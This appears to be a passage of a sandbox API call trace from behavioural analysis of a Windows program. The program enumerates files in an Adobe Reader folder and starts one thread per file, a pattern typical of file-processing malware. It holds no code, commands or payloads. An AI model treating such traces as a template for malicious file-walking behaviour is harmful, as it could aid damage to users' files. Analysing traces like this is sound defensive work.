lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0227.145] wcscmp (_String1="forms_received.gif", _String2=".") returned 1 [0227.145] wcscmp (_String1="forms_received.gif", _String2="..") returned 1 [0227.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205dcd0 [0227.146] wcscpy (in: _Dest=0x4205dcd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.146] wcscat (in: _Dest=0x4205dcd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.146] wcscat (in: _Dest=0x4205dcd0, _Source="forms_received.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" [0227.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c [0227.146] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0227.146] wcscmp (_String1="forms_super.gif", _String2=".") returned 1 [0227.146] wcscmp (_String1="forms_super.gif", _String2="..") returned 1 [0227.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205cbf0 [0227.147] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.147] wcscat (in: _Dest=0x4205cbf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.147] wcscat (in: _Dest=0x4205cbf0, _Source="forms_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" [0227.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2860 [0227.148] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0227.148] wcscmp (_String1="form_responses.gif", _String2=".") returned 1 [0227.148] wcscmp (_String1="form_responses.gif", _String2="..") returned 1 [0227.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205d2d0 [0227.148] wcscpy (in: _Dest=0x4205d2d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.148] wcscat (in: _Dest=0x4205d2d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.148] wcscat (in: _Dest=0x4205d2d0, _Source="form_responses.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\form_responses.gif" [0227.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0227.149] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0227.149] wcscmp (_String1="info.gif", _String2=".") returned 1 [0227.149] wcscmp (_String1="info.gif", _String2="..") returned 1 [0227.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85bf40 [0227.149] wcscpy (in: _Dest=0x1b85bf40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.149] wcscat (in: _Dest=0x1b85bf40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.149] wcscat (in: _Dest=0x1b85bf40, _Source="info.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\info.gif" [0227.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650 [0227.150] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0227.150] wcscmp (_String1="main.css", _String2=".") returned 1 [0227.150] wcscmp (_String1="main.css", _String2="..") returned 1 [0227.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85beb0 [0227.151] wcscpy (in: _Dest=0x1b85beb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.151] wcscat (in: _Dest=0x1b85beb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.151] wcscat (in: _Dest=0x1b85beb0, _Source="main.css" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\main.css" [0227.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85beb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0227.151] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0227.151] wcscmp (_String1="open_original_form.gif", _String2=".") returned 1 [0227.152] wcscmp (_String1="open_original_form.gif", _String2="..") returned 1 [0227.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43132610 [0227.152] wcscpy (in: _Dest=0x43132610, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.152] wcscat (in: _Dest=0x43132610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.152] wcscat (in: _Dest=0x43132610, _Source="open_original_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\open_original_form.gif" [0227.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43132610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0227.153] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0227.153] wcscmp (_String1="pdf.gif", _String2=".") returned 1 [0227.153] wcscmp (_String1="pdf.gif", _String2="..") returned 1 [0227.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bac0 [0227.153] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.153] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.153] wcscat (in: _Dest=0x1b85bac0, _Source="pdf.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\pdf.gif" [0227.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0227.154] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0227.154] wcscmp (_String1="reviewers.gif", _String2=".") returned 1 [0227.154] wcscmp (_String1="reviewers.gif", _String2="..") returned 1 [0227.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d730 [0227.154] wcscpy (in: _Dest=0x4205d730, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.154] wcscat (in: _Dest=0x4205d730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.154] wcscat (in: _Dest=0x4205d730, _Source="reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviewers.gif" [0227.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150 [0227.155] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0227.155] wcscmp (_String1="reviews_joined.gif", _String2=".") returned 1 [0227.155] wcscmp (_String1="reviews_joined.gif", _String2="..") returned 1 [0227.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205de10 [0227.155] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.155] wcscat (in: _Dest=0x4205de10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.155] wcscat (in: _Dest=0x4205de10, _Source="reviews_joined.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" [0227.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0227.156] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0227.156] wcscmp (_String1="reviews_sent.gif", _String2=".") returned 1 [0227.156] wcscmp (_String1="reviews_sent.gif", _String2="..") returned 1 [0227.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205064f0 [0227.156] wcscpy (in: _Dest=0x205064f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.157] wcscat (in: _Dest=0x205064f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.157] wcscat (in: _Dest=0x205064f0, _Source="reviews_sent.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" [0227.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205064f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0227.157] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0227.157] wcscmp (_String1="reviews_super.gif", _String2=".") returned 1 [0227.157] wcscmp (_String1="reviews_super.gif", _String2="..") returned 1 [0227.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20505730 [0227.158] wcscpy (in: _Dest=0x20505730, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.158] wcscat (in: _Dest=0x20505730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.158] wcscat (in: _Dest=0x20505730, _Source="reviews_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_super.gif" [0227.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0227.158] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0227.158] wcscmp (_String1="review_browser.gif", _String2=".") returned 1 [0227.158] wcscmp (_String1="review_browser.gif", _String2="..") returned 1 [0227.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20505af0 [0227.159] wcscpy (in: _Dest=0x20505af0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.159] wcscat (in: _Dest=0x20505af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.159] wcscat (in: _Dest=0x20505af0, _Source="review_browser.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" [0227.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0227.159] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0227.160] wcscmp (_String1="review_email.gif", _String2=".") returned 1 [0227.160] wcscmp (_String1="review_email.gif", _String2="..") returned 1 [0227.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205057d0 [0227.160] wcscpy (in: _Dest=0x205057d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.160] wcscat (in: _Dest=0x205057d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.160] wcscat (in: _Dest=0x205057d0, _Source="review_email.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" [0227.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205057d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0227.161] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="RE78D9~1.GIF")) returned 1 [0227.161] wcscmp (_String1="review_same_reviewers.gif", _String2=".") returned 1 [0227.161] wcscmp (_String1="review_same_reviewers.gif", _String2="..") returned 1 [0227.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x43131b10 [0227.161] wcscpy (in: _Dest=0x43131b10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.161] wcscat (in: _Dest=0x43131b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.161] wcscat (in: _Dest=0x43131b10, _Source="review_same_reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" [0227.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0 [0227.162] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0227.162] wcscmp (_String1="review_shared.gif", _String2=".") returned 1 [0227.162] wcscmp (_String1="review_shared.gif", _String2="..") returned 1 [0227.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20506270 [0227.162] wcscpy (in: _Dest=0x20506270, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.162] wcscat (in: _Dest=0x20506270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.162] wcscat (in: _Dest=0x20506270, _Source="review_shared.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" [0227.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0227.163] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: 